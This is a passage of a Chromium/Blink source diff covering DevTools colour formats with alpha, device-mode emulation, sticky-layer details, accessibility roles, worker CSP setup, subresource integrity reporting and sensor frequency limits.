         var g = parseInt(hex.substring(2, 4), 16);
         var b = parseInt(hex.substring(4, 6), 16);
-        return new Common.Color([r / 255, g / 255, b / 255, 1], format, text);
+        var a = 1;
+        if (hex.length === 8)
+          a = parseInt(hex.substring(6, 8), 16) / 255;
+        return new Common.Color([r / 255, g / 255, b / 255, a], format, text);
       }
 
       if (match[2]) {  // rgb
@@ -373,8 +382,8 @@
       format = (color.hasAlpha() ? cf.RGBA : cf.RGB);
     else if (formatSetting === cf.HSL)
       format = (color.hasAlpha() ? cf.HSLA : cf.HSL);
-    else if (!color.hasAlpha())
-      format = (color.canBeShortHex() ? cf.ShortHEX : cf.HEX);
+    else if (formatSetting === cf.HEX)
+      format = color.detectHEXFormat();
     else
       format = cf.RGBA;
 
@@ -455,17 +464,23 @@
   }
 
   /**
-   * @return {boolean}
+   * @return {!Common.Color.Format}
    */
-  canBeShortHex() {
-    if (this.hasAlpha())
-      return false;
-    for (var i = 0; i < 3; ++i) {
+  detectHEXFormat() {
+    var canBeShort = true;
+    for (var i = 0; i < 4; ++i) {
       var c = Math.round(this._rgba[i] * 255);
-      if (c % 17)
-        return false;
+      if (c % 17) {
+        canBeShort = false;
+        break;
+      }
     }
-    return true;
+
+    var hasAlpha = this.hasAlpha();
+    var cf = Common.Color.Format;
+    if (canBeShort)
+      return hasAlpha ? cf.ShortHEXA : cf.ShortHEX;
+    return hasAlpha ? cf.HEXA : cf.HEX;
   }
 
   /**
@@ -526,14 +541,31 @@
         return String.sprintf(
             'hsla(%d, %d%, %d%, %f)', Math.round(hsla[0] * 360), Math.round(hsla[1] * 100), Math.round(hsla[2] * 100),
             hsla[3]);
+      case Common.Color.Format.HEXA:
+        return String
+            .sprintf(
+                '#%s%s%s%s', toHexValue(this._rgba[0]), toHexValue(this._rgba[1]), toHexValue(this._rgba[2]),
+                toHexValue(this._rgba[3]))
+            .toLowerCase();
       case Common.Color.Format.HEX:
         if (this.hasAlpha())
           return null;
         return String
             .sprintf('#%s%s%s', toHexValue(this._rgba[0]), toHexValue(this._rgba[1]), toHexValue(this._rgba[2]))
             .toLowerCase();
+      case Common.Color.Format.ShortHEXA:
+        var hexFormat = this.detectHEXFormat();
+        if (hexFormat !== Common.Color.Format.ShortHEXA && hexFormat !== Common.Color.Format.ShortHEX)
+          return null;
+        return String
+            .sprintf(
+                '#%s%s%s%s', toShortHexValue(this._rgba[0]), toShortHexValue(this._rgba[1]),
+                toShortHexValue(this._rgba[2]), toShortHexValue(this._rgba[3]))
+            .toLowerCase();
       case Common.Color.Format.ShortHEX:
-        if (!this.canBeShortHex())
+        if (this.hasAlpha())
+          return null;
+        if (this.detectHEXFormat() !== Common.Color.Format.ShortHEX)
           return null;
         return String
             .sprintf(
@@ -627,7 +659,7 @@
 };
 
 /** @type {!RegExp} */
-Common.Color.Regex = /((?:rgb|hsl)a?\([^)]+\)|#[0-9a-fA-F]{6}|#[0-9a-fA-F]{3}|\b[a-zA-Z]+\b(?!-))/g;
+Common.Color.Regex = /((?:rgb|hsl)a?\([^)]+\)|#[0-9a-fA-F]{8}|#[0-9a-fA-F]{6}|#[0-9a-fA-F]{3,4}|\b[a-zA-Z]+\b(?!-))/g;
 
 /**
  * @enum {string}
@@ -637,6 +669,8 @@
   Nickname: 'nickname',
   HEX: 'hex',
   ShortHEX: 'shorthex',
+  HEXA: 'hexa',
+  ShortHEXA: 'shorthexa',
   RGB: 'rgb',
   RGBA: 'rgba',
   HSL: 'hsl',
diff --git a/third_party/WebKit/Source/devtools/front_end/emulation/DeviceModeModel.js b/third_party/WebKit/Source/devtools/front_end/emulation/DeviceModeModel.js
index 42a8c41..2ca09f0 100644
--- a/third_party/WebKit/Source/devtools/front_end/emulation/DeviceModeModel.js
+++ b/third_party/WebKit/Source/devtools/front_end/emulation/DeviceModeModel.js
@@ -14,7 +14,6 @@
     this._availableSize = new UI.Size(1, 1);
     this._preferredSize = new UI.Size(1, 1);
     this._initialized = false;
-    this._deviceMetricsThrottler = new Common.Throttler(0);
     this._appliedDeviceSize = new UI.Size(1, 1);
     this._appliedDeviceScaleFactor = window.devicePixelRatio;
     this._appliedUserAgentType = Emulation.DeviceModeModel.UA.Desktop;
@@ -598,39 +597,29 @@
       pageHeight = 0;
     }
 
-    this._deviceMetricsThrottler.schedule(setDeviceMetricsOverride.bind(this));
+    if (!this._emulationModel)
+      return;
 
-    /**
-     * @this {Emulation.DeviceModeModel}
-     * @return {!Promise.<?>}
-     */
-    function setDeviceMetricsOverride() {
-      if (!this._emulationModel)
-        return Promise.resolve();
-
-      var clear = !pageWidth && !pageHeight && !mobile && !deviceScaleFactor && scale === 1 && !screenOrientation;
-      var allPromises = [];
-      if (resetPageScaleFactor)
-        allPromises.push(this._emulationModel.resetPageScaleFactor());
-      var metrics = null;
-      if (!clear) {
-        metrics = {
-          width: pageWidth,
-          height: pageHeight,
-          deviceScaleFactor: deviceScaleFactor,
-          mobile: mobile,
-          scale: scale,
-          screenWidth: screenSize.width,
-          screenHeight: screenSize.height,
-          positionX: positionX,
-          positionY: positionY,
-          dontSetVisibleSize: true
-        };
-        if (screenOrientation)
-          metrics.screenOrientation = {type: screenOrientation, angle: screenOrientationAngle};
-      }
-      allPromises.push(this._emulationModel.emulateDevice(metrics));
-      return Promise.all(allPromises);
+    if (resetPageScaleFactor)
+      this._emulationModel.resetPageScaleFactor();
+    if (pageWidth || pageHeight || mobile || deviceScaleFactor || scale !== 1 || screenOrientation) {
+      var metrics = {
+        width: pageWidth,
+        height: pageHeight,
+        deviceScaleFactor: deviceScaleFactor,
+        mobile: mobile,
+        scale: scale,
+        screenWidth: screenSize.width,
+        screenHeight: screenSize.height,
+        positionX: positionX,
+        positionY: positionY,
+        dontSetVisibleSize: true
+      };
+      if (screenOrientation)
+        metrics.screenOrientation = {type: screenOrientation, angle: screenOrientationAngle};
+      this._emulationModel.emulateDevice(metrics);
+    } else {
+      this._emulationModel.emulateDevice(null);
     }
   }
 
@@ -644,8 +633,6 @@
     if (!screenCaptureModel)
       return null;
 
-    if (!this._emulatedPageSize)
-      this._calculateAndEmulate(false);
     var overlayModel = this._emulationModel ? this._emulationModel.overlayModel() : null;
     if (overlayModel)
       overlayModel.setShowViewportSizeOnResize(false);
diff --git a/third_party/WebKit/Source/devtools/front_end/inline_editor/ColorSwatch.js b/third_party/WebKit/Source/devtools/front_end/inline_editor/ColorSwatch.js
index 935df380..ac30ee7 100644
--- a/third_party/WebKit/Source/devtools/front_end/inline_editor/ColorSwatch.js
+++ b/third_party/WebKit/Source/devtools/front_end/inline_editor/ColorSwatch.js
@@ -47,22 +47,20 @@
       case cf.HSLA:
         if (color.nickname())
           return cf.Nickname;
-        if (!color.hasAlpha())
-          return color.canBeShortHex() ? cf.ShortHEX : cf.HEX;
-        else
-          return cf.Original;
+        return color.detectHEXFormat();
 
       case cf.ShortHEX:
         return cf.HEX;
 
+      case cf.ShortHEXA:
+        return cf.HEXA;
+
+      case cf.HEXA:
       case cf.HEX:
         return cf.Original;
 
       case cf.Nickname:
-        if (!color.hasAlpha())
-          return color.canBeShortHex() ? cf.ShortHEX : cf.HEX;
-        else
-          return cf.Original;
+        return color.detectHEXFormat();
 
       default:
         return cf.RGBA;
diff --git a/third_party/WebKit/Source/devtools/front_end/layer_viewer/LayerDetailsView.js b/third_party/WebKit/Source/devtools/front_end/layer_viewer/LayerDetailsView.js
index 7199a27..92ee7f2f 100644
--- a/third_party/WebKit/Source/devtools/front_end/layer_viewer/LayerDetailsView.js
+++ b/third_party/WebKit/Source/devtools/front_end/layer_viewer/LayerDetailsView.js
@@ -102,11 +102,65 @@
     if (this._selection.scrollRectIndex === index)
       element.classList.add('active');
     element.textContent = Common.UIString(
-        '%s (%s, %s, %s, %s)', LayerViewer.LayerDetailsView._slowScrollRectNames.get(scrollRect.type),
+        '%s %d × %d (at %d, %d)', LayerViewer.LayerDetailsView._slowScrollRectNames.get(scrollRect.type),
         scrollRect.rect.x, scrollRect.rect.y, scrollRect.rect.width, scrollRect.rect.height);
     element.addEventListener('click', this._onScrollRectClicked.bind(this, index), false);
   }
 
+  /**
+   * @param {string} title
+   * @param {?SDK.Layer} layer
+   * @return {string}
+   */
+  _formatStickyAncestorLayer(title, layer) {
+    if (!layer)
+      return '';
+
+    var node = layer.nodeForSelfOrAncestor();
+    var name = node ? Components.DOMPresentationUtils.simpleSelector(node) : Common.UIString('<unnamed>');
+    return Common.UIString('%s: %s (%s)', title, name, layer.id());
+  }
+
+  /**
+   * @param {string} title
+   * @param {?SDK.Layer} layer
+   */
+  _createStickyAncestorChild(title, layer) {
+    if (!layer)
+      return;
+
+    this._stickyPositionConstraintCell.createTextChild(', ');
+    var child = this._stickyPositionConstraintCell.createChild('span');
+    child.textContent = this._formatStickyAncestorLayer(title, layer);
+  }
+
+  /**
+   * @param {?SDK.Layer.StickyPositionConstraint} constraint
+   */
+  _populateStickyPositionConstraintCell(constraint) {
+    this._stickyPositionConstraintCell.removeChildren();
+    if (!constraint)
+      return;
+
+    var stickyBoxRect = constraint.stickyBoxRect();
+    var stickyBoxRectElement = this._stickyPositionConstraintCell.createChild('span');
+    stickyBoxRectElement.textContent = Common.UIString(
+        'Sticky Box %d × %d (at %d, %d)', stickyBoxRect.width, stickyBoxRect.height, stickyBoxRect.x, stickyBoxRect.y);
+
+    this._stickyPositionConstraintCell.createTextChild(', ');
+
+    var containingBlockRect = constraint.containingBlockRect();
+    var containingBlockRectElement = this._stickyPositionConstraintCell.createChild('span');
+    containingBlockRectElement.textContent = Common.UIString(
+        'Containing Block %d × %d (at %d, %d)', containingBlockRect.width, containingBlockRect.height,
+        containingBlockRect.x, containingBlockRect.y);
+
+    this._createStickyAncestorChild(
+        Common.UIString('Nearest Layer Shifting Sticky Box'), constraint.nearestLayerShiftingStickyBox());
+    this._createStickyAncestorChild(
+        Common.UIString('Nearest Layer Shifting Containing Block'), constraint.nearestLayerShiftingContainingBlock());
+  }
+
   update() {
     var layer = this._selection && this._selection.layer();
     if (!layer) {
@@ -126,6 +180,7 @@
     layer.requestCompositingReasons().then(this._updateCompositingReasons.bind(this));
     this._scrollRectsCell.removeChildren();
     layer.scrollRects().forEach(this._createScrollRectElement.bind(this));
+    this._populateStickyPositionConstraintCell(layer.stickyPositionConstraint());
     var snapshot = this._selection.type() === LayerViewer.LayerView.Selection.Type.Snapshot ?
         /** @type {!LayerViewer.LayerView.SnapshotSelection} */ (this._selection).snapshot() :
         null;
@@ -140,6 +195,7 @@
     this._memoryEstimateCell = this._createRow(Common.UIString('Memory estimate'));
     this._paintCountCell = this._createRow(Common.UIString('Paint count'));
     this._scrollRectsCell = this._createRow(Common.UIString('Slow scroll regions'));
+    this._stickyPositionConstraintCell = this._createRow(Common.UIString('Sticky position constraint'));
     this._paintProfilerButton = this.contentElement.createChild('a', 'hidden link');
     this._paintProfilerButton.textContent = Common.UIString('Paint Profiler');
     this._paintProfilerButton.addEventListener('click', this._onPaintProfilerButtonClicked.bind(this));
diff --git a/third_party/WebKit/Source/devtools/front_end/layers/LayerTreeModel.js b/third_party/WebKit/Source/devtools/front_end/layers/LayerTreeModel.js
index 32c0c981..54fed9b4 100644
--- a/third_party/WebKit/Source/devtools/front_end/layers/LayerTreeModel.js
+++ b/third_party/WebKit/Source/devtools/front_end/layers/LayerTreeModel.js
@@ -389,6 +389,14 @@
 
   /**
    * @override
+   * @return {?SDK.Layer.StickyPositionConstraint}
+   */
+  stickyPositionConstraint() {
+    return this._stickyPositionConstraint;
+  }
+
+  /**
+   * @override
    * @return {!Promise<!Array<string>>}
    */
   async requestCompositingReasons() {
@@ -450,6 +458,10 @@
     this._layerPayload = layerPayload;
     this._image = null;
     this._scrollRects = this._layerPayload.scrollRects || [];
+    this._stickyPositionConstraint = this._layerPayload.stickyPositionConstraint ?
+        new SDK.Layer.StickyPositionConstraint(
+            this._layerTreeModel.layerTree(), this._layerPayload.stickyPositionConstraint) :
+        null;
   }
 
   /**
diff --git a/third_party/WebKit/Source/devtools/front_end/object_ui/objectValue.css b/third_party/WebKit/Source/devtools/front_end/object_ui/objectValue.css
index 451daa63..2b376e9 100644
--- a/third_party/WebKit/Source/devtools/front_end/object_ui/objectValue.css
+++ b/third_party/WebKit/Source/devtools/front_end/object_ui/objectValue.css
@@ -55,6 +55,10 @@
 
 .object-value-node {
     color: rgb(136, 18, 128);
+    position: relative;
+    vertical-align: baseline;
+    color: inherit;
+    display: inline-block;
 }
 
 .object-value-null,
diff --git a/third_party/WebKit/Source/devtools/front_end/sdk/LayerTreeBase.js b/third_party/WebKit/Source/devtools/front_end/sdk/LayerTreeBase.js
index 6cb2e99..6e8c8bf 100644
--- a/third_party/WebKit/Source/devtools/front_end/sdk/LayerTreeBase.js
+++ b/third_party/WebKit/Source/devtools/front_end/sdk/LayerTreeBase.js
@@ -110,6 +110,11 @@
   scrollRects() {},
 
   /**
+   * @return {?SDK.Layer.StickyPositionConstraint}
+   */
+  stickyPositionConstraint() {},
+
+  /**
    * @return {number}
    */
   gpuMemoryUsage() {},
@@ -137,6 +142,57 @@
   RepaintsOnScroll: 'RepaintsOnScroll'
 };
 
+SDK.Layer.StickyPositionConstraint = class {
+  /**
+   * @param {?SDK.LayerTreeBase} layerTree
+   * @param {!Protocol.LayerTree.StickyPositionConstraint} constraint
+   * @struct
+   */
+  constructor(layerTree, constraint) {
+    /** @type {!Protocol.DOM.Rect} */
+    this._stickyBoxRect = constraint.stickyBoxRect;
+    /** @type {!Protocol.DOM.Rect} */
+    this._containingBlockRect = constraint.containingBlockRect;
+    /** @type {?SDK.Layer} */
+    this._nearestLayerShiftingStickyBox = null;
+    if (layerTree && constraint.nearestLayerShiftingStickyBox)
+      this._nearestLayerShiftingStickyBox = layerTree.layerById(constraint.nearestLayerShiftingStickyBox);
+
+    /** @type {?SDK.Layer} */
+    this._nearestLayerShiftingContainingBlock = null;
+    if (layerTree && constraint.nearestLayerShiftingContainingBlock)
+      this._nearestLayerShiftingContainingBlock = layerTree.layerById(constraint.nearestLayerShiftingContainingBlock);
+  }
+
+  /**
+   * @return {!Protocol.DOM.Rect}
+   */
+  stickyBoxRect() {
+    return this._stickyBoxRect;
+  }
+
+  /**
+   * @return {!Protocol.DOM.Rect}
+   */
+  containingBlockRect() {
+    return this._containingBlockRect;
+  }
+
+  /**
+   * @return {?SDK.Layer}
+   */
+  nearestLayerShiftingStickyBox() {
+    return this._nearestLayerShiftingStickyBox;
+  }
+
+  /**
+   * @return {?SDK.Layer}
+   */
+  nearestLayerShiftingContainingBlock() {
+    return this._nearestLayerShiftingContainingBlock;
+  }
+};
+
 /**
  * @unrestricted
  */
diff --git a/third_party/WebKit/Source/devtools/front_end/timeline_model/TracingLayerTree.js b/third_party/WebKit/Source/devtools/front_end/timeline_model/TracingLayerTree.js
index 3d4d5ca..7192646 100644
--- a/third_party/WebKit/Source/devtools/front_end/timeline_model/TracingLayerTree.js
+++ b/third_party/WebKit/Source/devtools/front_end/timeline_model/TracingLayerTree.js
@@ -355,6 +355,15 @@
 
   /**
    * @override
+   * @return {?SDK.Layer.StickyPositionConstraint}
+   */
+  stickyPositionConstraint() {
+    // TODO(smcgruer): Provide sticky layer information in traces.
+    return null;
+  }
+
+  /**
+   * @override
    * @return {number}
    */
   gpuMemoryUsage() {
diff --git a/third_party/WebKit/Source/devtools/front_end/ui/Icon.js b/third_party/WebKit/Source/devtools/front_end/ui/Icon.js
index 32a394a..f2be3d00 100644
--- a/third_party/WebKit/Source/devtools/front_end/ui/Icon.js
+++ b/third_party/WebKit/Source/devtools/front_end/ui/Icon.js
@@ -120,6 +120,7 @@
   'smallicon-bezier': {position: 'a5', spritesheet: 'smallicons', isMask: true},
   'smallicon-checkmark': {position: 'b5', spritesheet: 'smallicons'},
   'smallicon-command-result': {position: 'a4', spritesheet: 'smallicons'},
+  'smallicon-contrast-ratio': {position: 'a6', spritesheet: 'smallicons', isMask: true},
   'smallicon-cross': {position: 'b4', spritesheet: 'smallicons'},
   'smallicon-device': {position: 'c5', spritesheet: 'smallicons'},
   'smallicon-error': {position: 'c4', spritesheet: 'smallicons'},
diff --git a/third_party/WebKit/Source/modules/accessibility/AXLayoutObject.cpp b/third_party/WebKit/Source/modules/accessibility/AXLayoutObject.cpp
index 19abc94..1cf9a57 100644
--- a/third_party/WebKit/Source/modules/accessibility/AXLayoutObject.cpp
+++ b/third_party/WebKit/Source/modules/accessibility/AXLayoutObject.cpp
@@ -86,6 +86,7 @@
 #include "modules/accessibility/AXSVGRoot.h"
 #include "modules/accessibility/AXSpinButton.h"
 #include "modules/accessibility/AXTable.h"
+#include "platform/fonts/FontTraits.h"
 #include "platform/geometry/TransformState.h"
 #include "platform/text/PlatformLocale.h"
 #include "platform/text/TextDirection.h"
@@ -1010,9 +1011,9 @@
     return AXNodeObject::GetTextStyle();
 
   unsigned text_style = kTextStyleNone;
-  if (style->GetFontWeight() == BoldWeightValue())
+  if (style->GetFontWeight() == kFontWeightBold)
     text_style |= kTextStyleBold;
-  if (style->GetFontDescription().Style() == ItalicSlopeValue())
+  if (style->GetFontDescription().Style() == kFontStyleItalic)
     text_style |= kTextStyleItalic;
   if (style->GetTextDecoration() == TextDecoration::kUnderline)
     text_style |= kTextStyleUnderline;
diff --git a/third_party/WebKit/Source/modules/accessibility/AXNodeObject.cpp b/third_party/WebKit/Source/modules/accessibility/AXNodeObject.cpp
index 14ed468..25f257d 100644
--- a/third_party/WebKit/Source/modules/accessibility/AXNodeObject.cpp
+++ b/third_party/WebKit/Source/modules/accessibility/AXNodeObject.cpp
@@ -1290,14 +1290,24 @@
   switch (RoleValue()) {
     case kCellRole:
     case kCheckBoxRole:
+    case kColorWellRole:
     case kComboBoxRole:
+    case kDateRole:
+    case kDateTimeRole:
     case kGridRole:
+    case kInputTimeRole:
     case kListBoxRole:
     case kMenuButtonRole:
+    case kMenuItemCheckBoxRole:
+    case kMenuItemRadioRole:
+    case kPopUpButtonRole:
     case kRadioGroupRole:
+    case kSearchBoxRole:
     case kSliderRole:
     case kSpinButtonRole:
+    case kSwitchRole:
     case kTextFieldRole:
+    case kToggleButtonRole:
       return true;
     default:
       break;
diff --git a/third_party/WebKit/Source/modules/accessibility/AXObject.cpp b/third_party/WebKit/Source/modules/accessibility/AXObject.cpp
index 5c1d9390..39d1d47d 100644
--- a/third_party/WebKit/Source/modules/accessibility/AXObject.cpp
+++ b/third_party/WebKit/Source/modules/accessibility/AXObject.cpp
@@ -475,6 +475,16 @@
   return !is_null;
 }
 
+bool AXObject::HasAOMPropertyOrARIAAttribute(AOMStringProperty property,
+                                             AtomicString& result) const {
+  Element* element = this->GetElement();
+  if (!element)
+    return false;
+
+  result = AccessibleNode::GetPropertyOrARIAAttribute(element, property);
+  return !result.IsNull();
+}
+
 bool AXObject::IsARIATextControl() const {
   return AriaRoleAttribute() == kTextFieldRole ||
          AriaRoleAttribute() == kSearchBoxRole ||
@@ -1296,11 +1306,13 @@
   }
 }
 bool AXObject::AriaPressedIsPresent() const {
-  return !GetAttribute(aria_pressedAttr).IsEmpty();
+  AtomicString result;
+  return HasAOMPropertyOrARIAAttribute(AOMStringProperty::kPressed, result);
 }
 
 bool AXObject::AriaCheckedIsPresent() const {
-  return !GetAttribute(aria_checkedAttr).IsEmpty();
+  AtomicString result;
+  return HasAOMPropertyOrARIAAttribute(AOMStringProperty::kChecked, result);
 }
 
 bool AXObject::SupportsActiveDescendant() const {
diff --git a/third_party/WebKit/Source/modules/accessibility/AXObject.h b/third_party/WebKit/Source/modules/accessibility/AXObject.h
index efb737c..b5f3b62a 100644
--- a/third_party/WebKit/Source/modules/accessibility/AXObject.h
+++ b/third_party/WebKit/Source/modules/accessibility/AXObject.h
@@ -366,6 +366,8 @@
   bool HasAOMPropertyOrARIAAttribute(AOMUIntProperty, uint32_t& result) const;
   bool HasAOMPropertyOrARIAAttribute(AOMIntProperty, int32_t& result) const;
   bool HasAOMPropertyOrARIAAttribute(AOMFloatProperty, float& result) const;
+  bool HasAOMPropertyOrARIAAttribute(AOMStringProperty,
+                                     AtomicString& result) const;
 
   virtual void GetSparseAXAttributes(AXSparseAttributeClient&) const {}
 
diff --git a/third_party/WebKit/Source/modules/canvas2d/CanvasRenderingContext2D.cpp b/third_party/WebKit/Source/modules/canvas2d/CanvasRenderingContext2D.cpp
index 6a617fb1..6f2ea557 100644
--- a/third_party/WebKit/Source/modules/canvas2d/CanvasRenderingContext2D.cpp
+++ b/third_party/WebKit/Source/modules/canvas2d/CanvasRenderingContext2D.cpp
@@ -415,9 +415,9 @@
   const FontDescription& font_description =
       GetState().GetFont().GetFontDescription();
 
-  if (font_description.Style() == ItalicSlopeValue())
+  if (font_description.Style() == kFontStyleItalic)
     serialized_font.Append("italic ");
-  if (font_description.Weight() == BoldWeightValue())
+  if (font_description.Weight() == kFontWeightBold)
     serialized_font.Append("bold ");
   if (font_description.VariantCaps() == FontDescription::kSmallCaps)
     serialized_font.Append("small-caps ");
diff --git a/third_party/WebKit/Source/modules/compositorworker/CompositorWorkerGlobalScope.cpp b/third_party/WebKit/Source/modules/compositorworker/CompositorWorkerGlobalScope.cpp
index 34d65a31..db1fdfa9 100644
--- a/third_party/WebKit/Source/modules/compositorworker/CompositorWorkerGlobalScope.cpp
+++ b/third_party/WebKit/Source/modules/compositorworker/CompositorWorkerGlobalScope.cpp
@@ -27,7 +27,7 @@
       time_origin, std::move(creation_params->starter_origin_privilege_data),
       creation_params->worker_clients);
   context->ApplyContentSecurityPolicyFromVector(
-      *creation_params->content_security_policy_headers);
+      *creation_params->content_security_policy_parsed_headers);
   if (!creation_params->referrer_policy.IsNull())
     context->ParseAndSetReferrerPolicy(creation_params->referrer_policy);
   context->SetAddressSpace(creation_params->address_space);
diff --git a/third_party/WebKit/Source/modules/exported/WebEmbeddedWorkerImpl.cpp b/third_party/WebKit/Source/modules/exported/WebEmbeddedWorkerImpl.cpp
index f13dbfc9..616a68d9 100644
--- a/third_party/WebKit/Source/modules/exported/WebEmbeddedWorkerImpl.cpp
+++ b/third_party/WebKit/Source/modules/exported/WebEmbeddedWorkerImpl.cpp
@@ -61,6 +61,7 @@
 #include "platform/Histogram.h"
 #include "platform/RuntimeEnabledFeatures.h"
 #include "platform/SharedBuffer.h"
+#include "platform/WaitableEvent.h"
 #include "platform/heap/Handle.h"
 #include "platform/instrumentation/tracing/TraceEvent.h"
 #include "platform/loader/fetch/SubstituteData.h"
@@ -279,6 +280,21 @@
   worker_inspector_proxy_->DispatchMessageFromWorker(session_id, message);
 }
 
+void WebEmbeddedWorkerImpl::SetContentSecurityPolicyAndReferrerPolicy(
+    ContentSecurityPolicyResponseHeaders csp_headers,
+    String referrer_policy,
+    WaitableEvent* event) {
+  Document* document = main_frame_->GetFrame()->GetDocument();
+  ContentSecurityPolicy* content_security_policy =
+      ContentSecurityPolicy::Create();
+  content_security_policy->SetOverrideURLForSelf(document->Url());
+  content_security_policy->DidReceiveHeaders(csp_headers);
+  document->InitContentSecurityPolicy(content_security_policy);
+  if (!referrer_policy.IsNull())
+    document->ParseAndSetReferrerPolicy(referrer_policy);
+  event->Signal();
+}
+
 void WebEmbeddedWorkerImpl::PrepareShadowPageForLoader() {
   // Create 'shadow page', which is never displayed and is used mainly to
   // provide a context for loading on the main thread.
@@ -487,8 +503,9 @@
         static_cast<V8CacheOptions>(worker_start_data_.v8_cache_options));
     main_script_loader_.Clear();
   } else {
-    // TODO(shimazu): Set ContentSecurityPolicy, ReferrerPolicy to |document|
-    // before evaluating the main script.
+    // ContentSecurityPolicy and ReferrerPolicy are applied to |document| at
+    // SetContentSecurityPolicyAndReferrerPolicy() before evaluating the main
+    // script.
     global_scope_creation_params = WTF::MakeUnique<GlobalScopeCreationParams>(
         worker_start_data_.script_url, worker_start_data_.user_agent,
         "" /* SourceText */, nullptr /* CachedMetadata */, start_mode,
diff --git a/third_party/WebKit/Source/modules/exported/WebEmbeddedWorkerImpl.h b/third_party/WebKit/Source/modules/exported/WebEmbeddedWorkerImpl.h
index 939afb91..9a99014 100644
--- a/third_party/WebKit/Source/modules/exported/WebEmbeddedWorkerImpl.h
+++ b/third_party/WebKit/Source/modules/exported/WebEmbeddedWorkerImpl.h
@@ -32,6 +32,7 @@
 #define WebEmbeddedWorkerImpl_h
 
 #include <memory>
+#include "core/frame/csp/ContentSecurityPolicy.h"
 #include "core/workers/WorkerClients.h"
 #include "modules/ModulesExport.h"
 #include "platform/WebTaskRunner.h"
@@ -49,6 +50,7 @@
 class ThreadableLoadingContext;
 class ServiceWorkerGlobalScopeProxy;
 class ServiceWorkerInstalledScriptsManager;
+class WaitableEvent;
 class WebLocalFrameBase;
 class WebView;
 class WorkerInspectorProxy;
@@ -84,6 +86,16 @@
   void AddMessageToConsole(const WebConsoleMessage&) override;
 
   void PostMessageToPageInspector(int session_id, const WTF::String&);
+
+  // Applies the specified CSP and referrer policy to the worker, so that
+  // fetches initiated by the worker (other than for the main worker script
+  // itself) are affected by these policies. The WaitableEvent is signaled when
+  // the policies are set. This enables the caller to ensure that policies are
+  // set before starting script execution on the worker thread.
+  void SetContentSecurityPolicyAndReferrerPolicy(
+      ContentSecurityPolicyResponseHeaders,
+      WTF::String referrer_policy,
+      WaitableEvent*);
   std::unique_ptr<blink::WebURLLoader> CreateURLLoader(
       const WebURLRequest& request,
       SingleThreadTaskRunner* task_runner) override {
diff --git a/third_party/WebKit/Source/modules/fetch/FetchManager.cpp b/third_party/WebKit/Source/modules/fetch/FetchManager.cpp
index 298a704..461a493 100644
--- a/third_party/WebKit/Source/modules/fetch/FetchManager.cpp
+++ b/third_party/WebKit/Source/modules/fetch/FetchManager.cpp
@@ -11,9 +11,9 @@
 #include "core/dom/ExecutionContext.h"
 #include "core/fileapi/Blob.h"
 #include "core/frame/Frame.h"
-#include "core/frame/SubresourceIntegrity.h"
 #include "core/frame/csp/ContentSecurityPolicy.h"
 #include "core/inspector/ConsoleMessage.h"
+#include "core/loader/SubresourceIntegrityHelper.h"
 #include "core/loader/ThreadableLoader.h"
 #include "core/loader/ThreadableLoaderClient.h"
 #include "core/page/ChromeClient.h"
@@ -31,6 +31,7 @@
 #include "platform/HTTPNames.h"
 #include "platform/bindings/ScriptState.h"
 #include "platform/bindings/V8ThrowException.h"
+#include "platform/loader/SubresourceIntegrity.h"
 #include "platform/loader/fetch/CrossOriginAccessControl.h"
 #include "platform/loader/fetch/FetchUtils.h"
 #include "platform/loader/fetch/ResourceError.h"
@@ -214,9 +215,13 @@
           "Unknown error occurred while trying to verify integrity.";
       finished_ = true;
       if (r == WebDataConsumerHandle::kDone) {
-        if (SubresourceIntegrity::CheckSubresourceIntegrity(
-                integrity_metadata_, buffer_.data(), buffer_.size(), url_,
-                *loader_->GetExecutionContext(), error_message)) {
+        SubresourceIntegrity::ReportInfo report_info;
+        bool check_result = SubresourceIntegrity::CheckSubresourceIntegrity(
+            integrity_metadata_, buffer_.data(), buffer_.size(), url_,
+            report_info);
+        SubresourceIntegrityHelper::DoReport(*loader_->GetExecutionContext(),
+                                             report_info);
+        if (check_result) {
           updater_->Update(
               new FormDataBytesConsumer(buffer_.data(), buffer_.size()));
           loader_->resolver_->Resolve(response_);
@@ -514,7 +519,7 @@
 
 void FetchManager::Loader::DidFail(const ResourceError& error) {
   if (error.IsCancellation() || error.IsTimeout() ||
-      error.Domain() != kErrorDomainBlinkInternal)
+      error.GetDomain() != ResourceError::Domain::kBlinkInternal)
     Failed(String());
   else
     Failed("Fetch API cannot load " + error.FailingURL() + ". " +
diff --git a/third_party/WebKit/Source/modules/modules_idl_files.gni b/third_party/WebKit/Source/modules/modules_idl_files.gni
index f0ae8d0..16be8f3 100644
--- a/third_party/WebKit/Source/modules/modules_idl_files.gni
+++ b/third_party/WebKit/Source/modules/modules_idl_files.gni
@@ -560,6 +560,7 @@
                     "webaudio/PeriodicWaveOptions.idl",
                     "webaudio/OscillatorOptions.idl",
                     "webaudio/OfflineAudioCompletionEventInit.idl",
+                    "webaudio/OfflineAudioContextOptions.idl",
                     "webaudio/StereoPannerOptions.idl",
                     "webaudio/WaveShaperOptions.idl",
                     "webauth/AuthenticatorSelectionCriteria.idl",
diff --git a/third_party/WebKit/Source/modules/sensor/Sensor.cpp b/third_party/WebKit/Source/modules/sensor/Sensor.cpp
index a0075fd2..40b85a9 100644
--- a/third_party/WebKit/Source/modules/sensor/Sensor.cpp
+++ b/third_party/WebKit/Source/modules/sensor/Sensor.cpp
@@ -12,17 +12,11 @@
 #include "core/timing/Performance.h"
 #include "modules/sensor/SensorErrorEvent.h"
 #include "modules/sensor/SensorProviderProxy.h"
+#include "services/device/public/cpp/generic_sensor/sensor_traits.h"
 #include "services/device/public/interfaces/sensor.mojom-blink.h"
 
 namespace blink {
 
-namespace {
-
-constexpr double kMinWaitingInterval =
-    1 / device::mojom::blink::SensorConfiguration::kMaxAllowedFrequency;
-
-}  // namespace
-
 Sensor::Sensor(ExecutionContext* execution_context,
                const SensorOptions& sensor_options,
                ExceptionState& exception_state,
@@ -50,11 +44,15 @@
   // Check the given frequency value.
   if (sensor_options_.hasFrequency()) {
     double frequency = sensor_options_.frequency();
-    if (frequency > SensorConfiguration::kMaxAllowedFrequency) {
-      sensor_options_.setFrequency(SensorConfiguration::kMaxAllowedFrequency);
-      ConsoleMessage* console_message =
-          ConsoleMessage::Create(kJSMessageSource, kInfoMessageLevel,
-                                 "Frequency is limited to 60 Hz.");
+    const double max_allowed_frequency =
+        device::GetSensorMaxAllowedFrequency(type_);
+    if (frequency > max_allowed_frequency) {
+      sensor_options_.setFrequency(max_allowed_frequency);
+      String message = String::Format(
+          "Maximum allowed frequency value for this sensor type is %.0f Hz.",
+          max_allowed_frequency);
